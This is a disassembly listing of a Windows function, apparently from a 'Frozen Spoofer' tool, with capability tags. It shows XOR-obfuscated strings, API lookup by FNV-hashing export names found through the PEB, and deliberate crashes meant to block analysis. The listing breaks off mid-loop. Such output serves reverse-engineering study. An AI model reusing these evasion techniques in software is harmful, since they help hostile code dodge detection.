Function at 0x140088d60
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x12f8]
mov eax, 0x13f8
call fcn.14010e2b0
sub rsp, rax
movaps xmmword [rsp + 0x13e0], xmm6
movaps xmmword [rsp + 0x13d0], xmm7
movaps xmmword [rsp + 0x13c0], xmm8
movaps xmmword [rsp + 0x13b0], xmm9
movaps xmmword [rsp + 0x13a0], xmm10
movaps xmmword [rsp + 0x1390], xmm11
movaps xmmword [rsp + 0x1380], xmm12
mov rax, qword [0x140195900]
xor rax, rsp
mov qword [rbp + 0x1278], rax
mov rbx, r9
mov qword [rbp + 0x358], rbx
mov r15, r8
mov qword [rbp + 0x7a8], r8
mov qword [rbp + 0xa0], rdx
mov rdi, rcx
mov qword [rbp + 0x98], rcx
mov rax, qword [rbp + 0x1360]
mov qword [rbp + 0x400], rax
mov r13, qword [rbp + 0x1378]
mov rsi, qword [rbp + 0x1390]
mov qword [rbp + 0x620], rsi
mov rax, qword [rbp + 0x1398]
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x13a0]
mov qword [rbp + 0xb8], rax
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14009551c
cmp byte [0x1401966f6], 0
jne 0x140088e56
call fcn.140086540
mov byte [0x1401966f6], 1
xor edx, edx
lea rcx, [0x1401952f0]
call fcn.140025eb0
xor r12d, r12d
mov r14d, dword [reloc.WS2_32.dll_accept]
movss xmm11, dword [0x14011af74]
xorps xmm12, xmm12
movss xmm9, dword [0x140163140]
cmp byte [reloc.WS2_32.dll_accept], r12b
je 0x14008d7c9
mov eax, dword [str.SWQG6]
mov dword [rbp + 0x40], eax
movzx ecx, word [0x140160138]
mov word [rbp + 0x44], cx
movzx eax, byte [0x14016013a]
mov byte [rbp + 0x40], Ordinal_79
xor byte [rbp + 0x41], 0x31
xor byte [rbp + 0x42], 0x32
xor byte [rbp + 0x43], 0x33
xor cl, 0x34
mov byte [rbp + 0x44], cl
xor byte [rbp + 0x45], 0x35
xor al, 0x36
mov byte [rbp + 0x46], al
xor edx, edx
mov r8d, 0x13b
lea rcx, [rbp + 0x40]
call fcn.140005180
mov ecx, 0xff3366cc
call fcn.140082680
xorps xmm0, xmm0
movups xmmword [rbp + 0xbe8], xmm0
lea rdx, [rbp + 0xbe8]
lea ecx, [r12 + 3]
call fcn.140021bc0
movaps xmm0, xmmword [0x140163170]
movups xmmword [rbp + 0xbd8], xmm0
lea rdx, [rbp + 0xbd8]
lea ecx, [r12 + 5]
call fcn.140021bc0
movaps xmm1, xmm11
lea ecx, [r12 + 6]
call fcn.140021d00
lea r14, [r12 - 1]
lea r15, [0x140196d08]
cmp byte [reloc.WS2_32.dll_accept], r12b
je 0x14008ac65
mov qword [rbp + 0x518], r12
lea rcx, [rbp + 0x518]
call fcn.140025b20
mov rcx, rdi
call fcn.140025920
call fcn.1400195e0
mov rsi, rax
movaps xmm0, xmmword [0x140163230]
mov dword [rax + 0x114], r12d
mov dword [rax + 0x118], 0x3ebcbcbd
mov dword [rax + 0x11c], 0x3f800000
mov dword [rax + 0x120], 0x3f800000
movups xmmword [rax + 0xf4], xmm0
mov dword [rax + 0xd4], 0x3f800000
mov dword [rax + 0xd8], 0x3f800000
mov dword [rax + 0xdc], 0x3f800000
mov dword [rax + 0xe0], 0x3f800000
mov dword [rax + 0x94], 0x3f000000
mov dword [rax + 0x98], 0x3f000000
mov dword [rbp + 0x520], 0x44390000
mov dword [rbp + 0x524], 0x43e60000
movsd xmm0, qword [0x140160140]
movsd qword [rbp - 0x20], xmm0
movzx eax, word [0x140160148]
mov word [rbp - 0x18], ax
cmp byte [reloc.WS2_32.dll_gethostname], r12b
je 0x140089036
mov byte [rbp - 0x20], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x1f], 0x31
xor byte [rbp - 0x1e], 0x32
xor byte [rbp - 0x1d], 0x33
xor byte [rbp - 0x1c], 0x34
xor byte [rbp - 0x1b], 0x35
xor byte [rbp - 0x1a], 0x36
xor byte [rbp - 0x19], 0x37
xor byte [rbp - 0x18], 0x38
xor byte [rbp - 0x17], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x520]
lea rcx, [rbp - 0x20]
call fcn.140007ee0
mov dword [rbp + 0x528], 0x43814000
mov dword [rbp + 0x52c], 0x42480000
lea rcx, [rbp + 0x528]
call fcn.140025b20
mov rcx, rbx
call fcn.140025920
lea rcx, str.Frozen_Spoofer
call fcn.14004f330
movaps xmm0, xmm9
call fcn.140021aa0
mov rcx, rdi
call fcn.140025920
mov dword [rbp + 0x530], 0x43700000
mov dword [rbp + 0x534], 0x430c0000
lea rcx, [rbp + 0x530]
call fcn.140025b20
movsd xmm0, qword [0x140160150]
movsd qword [rbp + 0x118], xmm0
mov eax, dword [0x140160158]
mov dword [rbp + 0x120], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x124], al
mov r8d, r12d
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x1400891ee
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000]
movd xmm0, dword [0x140160150]
xorps xmm2, xmm0
movd dword [rbp + 0x118], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000]
movd xmm0, dword [rbp + 0x11c]
xorps xmm2, xmm0
movd dword [rbp + 0x11c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x118]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140089200
lea rcx, [rbp + 0x118]
call fcn.14004f330
mov dword [rbp + 0x538], 0x43700000
mov dword [rbp + 0x53c], 0x43250000
lea rcx, [rbp + 0x538]
call fcn.140025b20
movsd xmm0, qword [0x140160160]
movsd qword [rbp + 0x58], xmm0
movzx ecx, word [0x140160168]
mov word [rbp + 0x60], cx
movzx eax, byte [0x14016016a]
mov byte [rbp + 0x58], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x59], 0x31
xor byte [rbp + 0x5a], 0x32
xor byte [rbp + 0x5b], 0x33
xor byte [rbp + 0x5c], 0x34
xor byte [rbp + 0x5d], 0x35
xor byte [rbp + 0x5e], 0x36
xor byte [rbp + 0x5f], 0x37
xor cl, 0x38
mov byte [rbp + 0x60], cl
xor byte [rbp + 0x61], 0x39
xor al, 0x3a
mov byte [rbp + 0x62], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x140195332]
lea rcx, [rbp + 0x58]
call fcn.140047790
call fcn.140021330
movaps xmm0, xmm9
call fcn.140021aa0
mov rcx, rdi
call fcn.140025920
mov dword [rbp + 0x540], 0x43700000
mov dword [rbp + 0x544], 0x434d0000
lea rcx, [rbp + 0x540]
call fcn.140025b20
movsd xmm0, qword [0x140160170]
movsd qword [rbp + 0x128], xmm0
mov eax, dword [0x140160178]
mov dword [rbp + 0x130], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x134], al
mov r8d, r12d
cmp ebx, 2
jl 0x140089440
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140160170]
xorps xmm2, xmm0
movd dword [rbp + 0x128], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x12c]
xorps xmm2, xmm1
movd dword [rbp + 0x12c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x128]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140089450
lea rcx, [rbp + 0x128]
call fcn.14004f330
mov dword [rbp + 0x548], 0x43700000
mov dword [rbp + 0x54c], 0x43660000
lea rcx, [rbp + 0x548]
call fcn.140025b20
movsd xmm0, qword [0x140160180]
movsd qword [rbp + 0x68], xmm0
movzx ecx, word [0x140160188]
mov word [rbp + 0x70], cx
movzx eax, byte [0x14016018a]
mov byte [rbp + 0x68], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x69], 0x31
xor byte [rbp + 0x6a], 0x32
xor byte [rbp + 0x6b], 0x33
xor byte [rbp + 0x6c], 0x34
xor byte [rbp + 0x6d], 0x35
xor byte [rbp + 0x6e], 0x36
xor byte [rbp + 0x6f], 0x37
xor cl, 0x38
mov byte [rbp + 0x70], cl
xor byte [rbp + 0x71], 0x39
xor al, 0x3a
mov byte [rbp + 0x72], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, 0x8000
mov r8d, 0xff
lea rdx, [0x140195431]
lea rcx, [rbp + 0x68]
call fcn.140047790
call fcn.140021330
mov dword [rsi + 0x114], r12d
mov dword [rsi + 0x118], 0x3ebcbcbd
mov qword [rsi + 0x11c], 0x3f800000
mov dword [rbp + 0x550], 0x43700000
mov dword [rbp + 0x554], 0x43898000
lea rcx, [rbp + 0x550]
call fcn.140025b20
mov rcx, rdi
call fcn.140025920
movaps xmm6, xmmword [0x140163180]
mov dword [rbp + 0x558], 0x43820000
mov dword [rbp + 0x55c], 0x42200000
movsd xmm0, qword [str.UZZ]
movsd qword [rbp + 0x1e8], xmm0
mov eax, dword [0x140160198]
mov dword [rbp + 0x1f0], eax
cmp byte [0x14016019b], r12b
je 0x140089700
mov r8d, r12d
cmp ebx, 2
jl 0x1400896c1
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.UZZ]
xorps xmm2, xmm0
movd dword [rbp + 0x1e8], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1ec]
xorps xmm2, xmm1
movd dword [rbp + 0x1ec], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1e8]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400896d0
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x50], xmm6
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x10000
lea rax, [0x140195668]
mov qword [rsp + 0x28], rax
lea rax, [0x140195660]
mov qword [rsp + 0x20], rax
lea r9, [0x140195658]
xor r8d, r8d
lea rdx, [rbp + 0x558]
lea rcx, [rbp + 0x1e8]
call fcn.14003f4d0
test al, al
je 0x14008a438
lea rax, [rbp + 0x898]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x898], xmm0
mov qword [rbp + 0x8a8], r12
mov qword [rbp + 0x8b0], r12
mov r8, r14
lea rax, [0x140195431]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x1400897a0
mov rdx, rax
lea rcx, [rbp + 0x898]
call fcn.140056330
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x938], xmm0
mov qword [rbp + 0x948], r12
mov qword [rbp + 0x950], r12
mov r8, r14
lea rax, [0x140195332]
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400897e0
mov rdx, rax
lea rcx, [rbp + 0x938]
call fcn.140056330
nop
lea r8, [rbp + 0x898]
lea rdx, [rbp + 0x938]
lea rcx, [0x140196af0]
call fcn.1400b8290
cmp byte [0x140196d00], 0
jne 0x1400898ad
movsd xmm0, qword [0x1401601a0]
movsd qword [rbp + 0x78], xmm0
movzx ecx, word [0x1401601a8]
mov word [rbp + 0x80], cx
movzx eax, byte [0x1401601aa]
mov byte [rbp + 0x78], 0x41
xor byte [rbp + 0x79], 0x31
xor byte [rbp + 0x7a], 0x32
xor byte [rbp + 0x7b], 0x33
xor byte [rbp + 0x7c], 0x34
xor byte [rbp + 0x7d], 0x35
xor byte [rbp + 0x7e], 0x36
xor byte [rbp + 0x7f], 0x37
xor cl, 0x38
mov byte [rbp + 0x80], cl
xor byte [rbp + 0x81], 0x39
xor al, 0x3a
mov byte [rbp + 0x82], al
mov rdx, r15
cmp qword [0x140196d20], 0xf
cmova rdx, qword [0x140196d08]
xor r9d, r9d
lea r8, [rbp + 0x78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14008a438
mov eax, dword [str.vC_IQ_6]
mov dword [rsp + 0x60], eax
movzx ecx, word [0x1401601b0]
mov word [rsp + 0x64], cx
movzx eax, byte [0x1401601b2]
mov byte [rsp + 0x60], 0x46
xor byte [rsp + 0x61], 0x31
xor byte [rsp + 0x62], 0x32
xor byte [rsp + 0x63], 0x33
xor cl, 0x34
mov byte [rsp + 0x64], cl
xor byte [rsp + 0x65], 0x35
xor al, 0x36
mov byte [rsp + 0x66], al
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x10c0]
call fcn.1400629f0
mov r8, rax
lea rdx, [rbp + 0x1238]
lea rcx, [0x140196af0]
call fcn.1400bddd0
nop
cmp qword [rbp + 0x1248], 2
jbe 0x14008a20e
mov ecx, dword [0x1401966fc]
call fcn.14006af70
test al, al
je 0x140089b4f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400899c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400899c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400899c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400899a0
cmp r8d, 0xcded1a85
je 0x1400899cb
test r9d, r9d
jne 0x140089980
mov rax, qword [rax]
jmp 0x140089950
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140089a76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140089a76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140089a71
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140089a50
cmp r8d, 0xe80fd3a
je 0x140089a7b
test r9d, r9d
jne 0x140089a30
mov rax, qword [rax]
jmp 0x140089a00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140089b26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140089b26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140089b21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140089b00
cmp r8d, 0xa52bcaf9
je 0x140089b2b
test r9d, r9d
jne 0x140089ae0
mov rax, qword [rax]
jmp 0x140089ab0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
call fcn.14006ac80
test al, al
je 0x140089d6f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140089be6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140089be6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140089be1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140089bc0
cmp r8d, 0xcded1a85
je 0x140089beb
test r9d, r9d
jne 0x140089ba0
mov rax, qword [rax]
jmp 0x140089b70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140089c96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140089c96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140089c91
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140089c70
cmp r8d, 0xe80fd3a
je 0x140089c9b
test r9d, r9d
jne 0x140089c50
mov rax, qword [rax]
jmp 0x140089c20
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140089d46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140089d46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140089d41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140089d20
cmp r8d, 0xa52bcaf9
je 0x140089d4b
test r9d, r9d
jne 0x140089d00
mov rax, qword [rax]
jmp 0x140089cd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
cmp byte [0x1401966f0], 0
je 0x140089f8f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140089e06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140089e06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140089e01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140089de0
cmp r8d, 0xcded1a85
je 0x140089e0b
test r9d, r9d
jne 0x140089dc0
mov rax, qword [rax]
jmp 0x140089d90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140089eb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140089eb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140089eb1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140089e90
cmp r8d, 0xe80fd3a
je 0x140089ebb
test r9d, r9d
jne 0x140089e70
mov rax, qword [rax]
jmp 0x140089e40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140089f66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140089f66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140089f61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140089f40
cmp r8d, 0xa52bcaf9
je 0x140089f6b
test r9d, r9d
jne 0x140089f20
mov rax, qword [rax]
jmp 0x140089ef0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov eax, dword [0x1401601b4]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1401601b8]
mov word [rbp - 0x7c], ax
mov byte [rbp - 0x80], reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp - 0x7f], 0x31
xor byte [rbp - 0x7e], 0x32
xor byte [rbp - 0x7d], 0x33
xor byte [rbp - 0x7c], 0x34
xor byte [rbp - 0x7b], 0x35
xor edx, edx
lea rcx, [rbp - 0x80]
call fcn.14006acc0
test al, al
je 0x14008a1df
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008a056
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008a056
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008a051
